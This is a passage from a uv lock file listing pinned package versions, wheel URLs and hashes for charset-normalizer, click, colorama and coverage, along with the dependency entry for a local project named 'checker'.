{ url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" },
{ url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" },
{ url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" },
{ url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" },
{ url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" },
{ url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" },
{ url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" },
{ url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" },
{ url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" },
{ url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" },
{ url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" },
{ url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" },
{ url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" },
{ url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" },
{ url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" },
{ url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" },
{ url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" },
{ url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" },
{ url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" },
{ url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" },
{ url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" },
{ url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" },
{ url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" },
{ url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" },
{ url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" },
{ url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" },
{ url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" },
{ url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" },
{ url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" },
{ url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" },
{ url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" },
{ url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" },
{ url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" },
{ url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" },
{ url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" },
{ url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" },
{ url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" },
{ url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" },
{ url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" },
{ url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" },
{ url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" },
{ url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" },
{ url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" },
{ url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" },
{ url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" },
{ url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" },
{ url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" },
{ url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" },
{ url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" },
{ url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" },
{ url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" },
{ url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" },
{ url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" },
{ url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" },
{ url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" },
{ url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" },
{ url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" },
{ url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" },
{ url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" },
{ url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" },
{ url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" },
{ url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" },
]
[[package]]
name = "checker"
version = "0.2.0"
source = { editable = "." }
dependencies = [
{ name = "colorama" },
{ name = "faker" },
{ name = "pycryptodome" },
{ name = "pyfiglet" },
{ name = "requests" },
{ name = "urllib3" },
{ name = "v-jstools" },
]
[package.optional-dependencies]
dev = [
{ name = "black" },
{ name = "mypy" },
{ name = "pytest" },
{ name = "pytest-cov" },
{ name = "ruff" },
]
[package.metadata]
requires-dist = [
{ name = "black", marker = "extra == 'dev'", specifier = ">=23.0.0" },
{ name = "colorama", specifier = ">=0.4.6" },
{ name = "faker", specifier = ">=20.0.0" },
{ name = "mypy", marker = "extra == 'dev'", specifier = ">=1.7.0" },
{ name = "pycryptodome", specifier = ">=3.23.0" },
{ name = "pyfiglet", specifier = ">=1.0.2" },
{ name = "pytest", marker = "extra == 'dev'", specifier = ">=7.4.0" },
{ name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=4.1.0" },
{ name = "requests", specifier = ">=2.31.0" },
{ name = "ruff", marker = "extra == 'dev'", specifier = ">=0.1.0" },
{ name = "urllib3", specifier = ">=2.0.0" },
{ name = "v-jstools", specifier = ">=0.0.8" },
]
provides-extras = ["dev"]
[[package]]
name = "click"
version = "8.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" },
]
[[package]]
name = "colorama"
version = "0.4.6"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
]
[[package]]
name = "coverage"
version = "7.13.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b6/45/2c665ca77ec32ad67e25c77daf1cee28ee4558f3bc571cdbaf88a00b9f23/coverage-7.13.0.tar.gz", hash = "sha256:a394aa27f2d7ff9bc04cf703817773a59ad6dfbd577032e690f961d2460ee936", size = 820905, upload-time = "2025-12-08T13:14:38.055Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/db/08/bdd7ccca14096f7eb01412b87ac11e5d16e4cb54b6e328afc9dee8bdaec1/coverage-7.13.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:02d9fb9eccd48f6843c98a37bd6817462f130b86da8660461e8f5e54d4c06070", size = 217979, upload-time = "2025-12-08T13:12:14.505Z" },
{ url = "https://files.pythonhosted.org/packages/fa/f0/d1302e3416298a28b5663ae1117546a745d9d19fde7e28402b2c5c3e2109/coverage-7.13.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:367449cf07d33dc216c083f2036bb7d976c6e4903ab31be400ad74ad9f85ce98", size = 218496, upload-time = "2025-12-08T13:12:16.237Z" },
{ url = "https://files.pythonhosted.org/packages/07/26/d36c354c8b2a320819afcea6bffe72839efd004b98d1d166b90801d49d57/coverage-7.13.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cdb3c9f8fef0a954c632f64328a3935988d33a6604ce4bf67ec3e39670f12ae5", size = 245237, upload-time = "2025-12-08T13:12:17.858Z" },
{ url = "https://files.pythonhosted.org/packages/91/52/be5e85631e0eec547873d8b08dd67a5f6b111ecfe89a86e40b89b0c1c61c/coverage-7.13.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d10fd186aac2316f9bbb46ef91977f9d394ded67050ad6d84d94ed6ea2e8e54e", size = 247061, upload-time = "2025-12-08T13:12:19.132Z" },
{ url = "https://files.pythonhosted.org/packages/0f/45/a5e8fa0caf05fbd8fa0402470377bff09cc1f026d21c05c71e01295e55ab/coverage-7.13.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7f88ae3e69df2ab62fb0bc5219a597cb890ba5c438190ffa87490b315190bb33", size = 248928, upload-time = "2025-12-08T13:12:20.702Z" },
{ url = "https://files.pythonhosted.org/packages/f5/42/ffb5069b6fd1b95fae482e02f3fecf380d437dd5a39bae09f16d2e2e7e01/coverage-7.13.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4be718e51e86f553bcf515305a158a1cd180d23b72f07ae76d6017c3cc5d791", size = 245931, upload-time = "2025-12-08T13:12:22.243Z" },
